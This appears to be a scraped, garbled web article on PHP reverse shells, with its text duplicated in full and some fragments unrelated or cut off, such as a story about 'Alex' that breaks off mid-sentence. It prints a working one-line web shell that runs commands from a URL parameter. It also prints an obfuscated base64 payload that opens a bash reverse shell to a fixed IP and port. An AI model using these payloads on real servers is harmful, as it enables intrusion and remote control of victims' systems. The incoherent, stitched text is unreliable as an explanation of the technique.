A PHP reverse shell is a script designed to establish an outbound connection from a target web server back to an attacker's machine. This technique is frequently used in penetration testing and CTF (Capture The Flag) challenges to gain remote command-line access while bypassing inbound firewall restrictions. Popular PHP Reverse Shell Tools
This article is for educational purposes only. Unauthorized use of reverse shells is a crime. Always obtain written permission before testing.
Caveat: This breaks some legitimate apps (e.g., certain WordPress backup plugins).
<?php system($_GET['cmd']); ?>
<?php eval(base64_decode('c3lzdGVtKCJiYXNoIC1jICdiYXNoIC1pID4mIC9kZXYvdGNwLzE5Mi4xNjguNDUuMTAvNDQ0NCAwPiYxJicpOw==')); ?>
This script is extremely rudimentary and there are many ways to implement a reverse shell in PHP, but it illustrates the basic concept. Attackers often use more sophisticated and encoded/encrypted scripts to avoid detection.
Alex set up a "listener" on his own laptop (using a tool called Netcat), waiting in the dark for a connection. He then navigated to the URL of his "photo":
Most reverse shells arrive via file upload vulnerabilities.
A PHP reverse shell is a script designed to establish an outbound connection from a target web server back to an attacker's machine. This technique is frequently used in penetration testing and CTF (Capture The Flag) challenges to gain remote command-line access while bypassing inbound firewall restrictions. Popular PHP Reverse Shell Tools
This article is for educational purposes only. Unauthorized use of reverse shells is a crime. Always obtain written permission before testing.
Caveat: This breaks some legitimate apps (e.g., certain WordPress backup plugins).
<?php system($_GET['cmd']); ?>
<?php eval(base64_decode('c3lzdGVtKCJiYXNoIC1jICdiYXNoIC1pID4mIC9kZXYvdGNwLzE5Mi4xNjguNDUuMTAvNDQ0NCAwPiYxJicpOw==')); ?>
This script is extremely rudimentary and there are many ways to implement a reverse shell in PHP, but it illustrates the basic concept. Attackers often use more sophisticated and encoded/encrypted scripts to avoid detection.
Alex set up a "listener" on his own laptop (using a tool called Netcat), waiting in the dark for a connection. He then navigated to the URL of his "photo":
Most reverse shells arrive via file upload vulnerabilities.